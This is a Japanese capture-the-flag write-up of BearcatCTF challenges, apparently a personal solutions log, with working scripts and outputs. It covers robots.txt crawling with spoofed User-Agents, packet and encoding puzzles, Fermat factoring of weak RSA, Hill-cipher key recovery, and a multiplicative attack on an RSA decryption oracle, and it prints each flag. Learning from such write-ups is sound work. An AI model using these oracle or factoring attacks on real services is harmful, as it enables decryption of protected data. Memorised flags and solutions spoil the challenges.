http://chal.bearcatctf.io:48605/robots.txtにアクセスすると、UserAgentとアクセス先のパスが大量に書いてある。該当するUserAgentを指定し、各パスにアクセスすることをスクリプトで実行し、フラグが書かれているページを探し出す。

#!/usr/bin/env python3
import requests

with open('robots.txt', 'r') as f:
    lines = f.read().splitlines()

ua = ''
for line in lines:
    if line.startswith('User-agent: '):
        ua = line.split(': ')[1]
        headers = {'User-Agent': ua}
    elif line != '':
        path = line.split(': ')[1]
        url = 'http://chal.bearcatctf.io:48605' + path
        print('[+] UserAgent:', ua, ' / Path:', path)
        r = requests.get(url, headers=headers)
        if 'BCCTF' in r.text:
            print('**** Found! ****')
            print('[+] UserAgent:', ua)
            print('[+] Path:', path)
            print('**** content ****')
            print(r.text)
            break

実行結果は以下の通り。

        :
        :
[+] UserAgent: HumanRebels  / Path: /JUjhp7EfQCz.wasm
[+] UserAgent: HumanRebels  / Path: /dVKdyjza5e0bl.css
[+] UserAgent: HumanRebels  / Path: /WsUsrvTI4tLO.wasm
[+] UserAgent: HumanRebels  / Path: /Baohf2Z5O921i5s.html
**** Found! ****
[+] UserAgent: HumanRebels
[+] Path: /Baohf2Z5O921i5s.html
**** content ****
<html>
    <head>
        <Title>Robot Lair</Title>
        <link rel="stylesheet" type=text/css href="/css/bootstrap.cyberatuc.css">
    </head>
    <body>
        <header class="navbar navbar-expand-auto navbar-dark mb-3" style="background-color: black;">
        <div class="container">
            <a id="cyberatuc-logo" class="navbar-brand justify-content-start" href="https://www.cyberatuc.org">
            <img alt="Cyber@UC Chapter Logo" height=60 src="/img/main_logo.svg">
            </a>

            <div class="navbar-nav justify-content-center">
            <h1 class="nav-brand text-white">No Humans</h1>
            </div>
            <ul id="main_nav" class="navbar-nav justify-content-end">
            </ul>
        </div>
        </header>
        <div class="container">
            <div class="row">
                <p>Alright, now that the humans are gone. Make sure to record the flag: <b>BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}</b>. This will be important for later... wait how did you get here. We are compromised. <i>Connection Terminated</i></p>
            </div>
        </div>
    </body>
</html>
BCCTF{Th1s_Is_wHy_Hum4ns_N33d_4ppLy}

Needle in a Haystack (forensics 300)

問題文では変な箇所が大文字になっている。つなげるとICMPになるので、icmpでフィルタリングしてみる。No.39236パケットにbase64文字列が含まれている。この文字列をデコードする。

$ echo QkNDVEZ7VGhpc0lzQU5lZWRsZX0= | base64 -d
BCCTF{ThisIsANeedle}
BCCTF{ThisIsANeedle}

Best Painting (stego 700)

StegSolveで開き、Red plane 0を見ると、フラグが現れた。

BCCTF{WhY_iS_BiAnK_So_Exp3nSivE}

Many Encode (crypto 300)

hexデコードする。

$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p
42434354467b573469545f6830575f443065735f546831355f48347050456e3f7d

さらにhexデコードする。

$ echo 343234333433353434363762353733343639353435663638333035373566343433303635373335663534363833313335356634383334373035303435366533663764 | xxd -r -p | xxd -r -p
BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}
BCCTF{W4iT_h0W_D0es_Th15_H4pPEn?}

Difference of P (crypto 700)

NをFermat法で素因数分解して、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

C = 1974980851853019257771773253811679794137241209581612326758022524735213521549252839752456399226743
N = 22124683985039812698470600343255891405990431861180855450772516395200335369863431601013187704080051
e = 65537

p, q = fermat(N)
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(C, d, N)
flag = long_to_bytes(m).decode()
print(flag)
BCCTF{F3rMaT_yOu_BugG3r}

Terrific Hill (crypto 700)

4×4の行列を使ったHill暗号と推測し、平文と暗号文のペアからブルートフォースで復号鍵を求める。フラグの暗号の長さは16の倍数でないため、パディングして復号し、パディング部分の平文を削除する。

#!/usr/bin/env python3
from string import *

CT = 'ZXIUUHJRJKWSWFBNFXIIBRTSMJCNCVHM'
PT = 'WHYISTHEREPEOPLEONMYHILLNOONECAN'

CS = []
for i in range(2):
    C = []
    for j in range(4):
        raw = []
        for k in range(4):
            raw += [ascii_uppercase.index(CT[i * 16 + j * 4 + k])]
        C += [raw]
    CS += [C]

PS = []
for i in range(2):
    P = []
    for j in range(4):
        raw = []
        for k in range(4):
            raw += [ascii_uppercase.index(PT[i * 16 + j * 4 + k])]
        P += [raw]
    PS += [P]

K = [[-1 for _ in range(4)] for _ in range(4)]

for i in range(4):
    for a in range(26):
        for b in range(26):
            for c in range(26):
                for d in range(26):
                    success = True
                    for j in range(4):
                        v0 = (a * CS[0][j][0] + b * CS[0][j][1] + c * CS[0][j][2] + d * CS[0][j][3]) % 26
                        v1 = (a * CS[1][j][0] + b * CS[1][j][1] + c * CS[1][j][2] + d * CS[1][j][3]) % 26
                        if v0 != PS[0][j][i] or v1 != PS[1][j][i]:
                            success = False
                            break
                    if success:
                        K[0][i] = a
                        K[1][i] = b
                        K[2][i] = c
                        K[3][i] = d

enc = 'ENCREOHCXTWYOAENURRZEXXTVGKLEPOPTVRE'
pad_len = 16 - len(enc) % 16
enc += 'X' * pad_len

flag = ''
for i in range(0, len(enc), 16):
    ct = enc[i:i+16]
    ct = [ascii_uppercase.index(c) for c in ct]
    for j in range(16):
        v = 0
        v += ct[j // 4 * 4 + 0] * K[0][j % 4]
        v += ct[j // 4 * 4 + 1] * K[1][j % 4]
        v += ct[j // 4 * 4 + 2] * K[2][j % 4]
        v += ct[j // 4 * 4 + 3] * K[3][j % 4]
        v %= 26
        flag += ascii_uppercase[v]

flag = flag[:-pad_len]
print(flag)
BCCTFZZFUNAWITHHILLAWNDOTHERPEOPLEZZ

Olivia's Oracle (crypto 1000)

サーバの処理概要は以下の通り。

・key: key.pemをインポート
・flag: flagの数値化
・c = pow(flag, key.e, key.n)
・seen_hashes = [cの文字列化したもののsha256]
・cを表示
・以下繰り返し
 ・msg: 入力
 ・msgが"ENCRYPT:"で始まる場合
  ・handle_encrypt_message(msg)
   ・msg: msgの":"区切りの配列
   ・smsg: msgのインデックス1の要素
   ・res = encrypt_message(smsg)
    ・msg: smsgを数値としてパース
    ・ctx = pow(msg, key.e, key.n)
    ・ctxを表示
    ・Trueを返却
   ・resがFalseの場合、エラー
 ・msgが"DECRYPT:"で始まる場合
  ・handle_decrypt_message(msg)
   ・msg: msgの":"区切りの配列
   ・rmsg: msgのインデックス1の要素
   ・res = decrypt_message(rmsg)
    ・msg: smsgを数値としてパース
    ・h: msgの文字列化したもののsha256
    ・hがseen_hashesにあった場合、Falseを返却
    ・p = pow(msg, key.d, key.n)
    ・pを表示
    ・Trueを返却
   ・resがFalseの場合、エラー
 ・msgが"KEY:"で始まる場合
  ・handle_key_message()
   ・n, eを表示

フラグを暗号化したcがわかり、素数でなければ以下のように表せる。

c = c1 * c2

c1とc2の復号は以下のように表せる。

p1 = pow(c1, d, n)
p2 = pow(c2, d, n)

あとはこの掛け算をすれば、フラグの数値を算出できる。

p1 * p2 % n= pow(c1, d, n) * pow(c2, d, n) % n = pow(c1 * c2, d, n)
        = pow(c, d, n) = p
#!/usr/bin/env python3
import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.bearcatctf.io', 36242))

for _ in range(2):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

c = int(data.split(' ')[-1])

for c1 in range(2, 1024):
    if c % c1 == 0:
        break

c2 = c // c1

msg = 'KEY:'
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(':')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(':')[1])
data = recvuntil(s, b'\n').rstrip()
print(data)

msg = 'DECRYPT:' + str(c1)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
p1 = int(data)

msg = 'DECRYPT:' + str(c2)
print(msg)
s.sendall(msg.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
p2 = int(data)

p = (p1 * p2) % n
flag = long_to_bytes(p).decode()
print(flag)

実行結果は以下の通り。

Welcome to Olivia's Shared Message Encryption System
Ciphertext of Flag: 9660781791858184769153132190461807553117357056155302412820310521546374651595189558577932859888800249912341764800720974150589465621000783138438122681788824460761738132259235364337876697410960164607237133389558445784148009308009376025011895457847259821484987441417726528815991837236665857768648954936910835832504589451357856856287637873871460770523072402655400242567887740302149122959010641004914059087271244327262186660343609314133746471855983862187501283378849139303838418588590064394584676229483058205594031241273563918770931551618491048702002263184524517503361833682405707800544276397433348507115797599565832957460
KEY:
N:30041599491728993686066568162491695488103191710138752930533217847752754371415670990516324862673730836329856113920704653640849599365361751724702411351011112126641201052838903004275878621594765918484960778194958319203481284612861459662378554797163059773269965325018212470229522050686945260190748571136958740830398648811963424487670468372115863578856795549607007358342953973934227516140058845293812086740036358264857673377597319457979610815822935469488515774505626666211699106188807426772490649425816051622351079710613821487239384776920816183447491905113473364766904199465445771921866546714995863931251779472482199866947
E:65537

DECRYPT:2
517480846584794711665761328477278309137411904609222949734988377890294607686552144619035499058411654006113289504478651461958621583832850441058935586444443018035556422643462700422085400286638934653068673124455992026750853620250536452555991612212993026257275960921864772424106890771166521300441254180140431194622996390657957820981942311431077754983222460185724863068450742144850998625959332621379234380862615105071563933945756005357101984687307062324151206759915894705643604835811409854804579392567314276027184745132005231450814644075531037953684709360061947720881768130627434328264435335169097703922060980339009612172
DECRYPT:4830390895929092384576566095230903776558678528077651206410155260773187325797594779288966429944400124956170882400360487075294732810500391569219061340894412230380869066129617682168938348705480082303618566694779222892074004654004688012505947728923629910742493720708863264407995918618332928884324477468455417916252294725678928428143818936935730385261536201327700121283943870151074561479505320502457029543635622163631093330171804657066873235927991931093750641689424569651919209294295032197292338114741529102797015620636781959385465775809245524351001131592262258751680916841202853900272138198716674253557898799782916478730
11005056800178540755893431232780676792795142547413469848495725054779587098755723325324537035472568439170671718177173397776939478740364984817942431399240981099062124478551263189643324776265175927301505526191786494395411168756302700101160204480178310533447463308511665008407424844779776499272732804846199205831234074586089958732443124876895176442833382735882327514104467504745012179369806535529090854475693788588062239136871952542056959333348224571416795119095164921481466009422326871284089480284102219406600320676441434155310425294810005398431331196533166567842263503906219402826678768792766623222961953640454023482005
BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}
BCCTF{Th3_0rACl3_OlIv1a_iS_Never_wR0nG}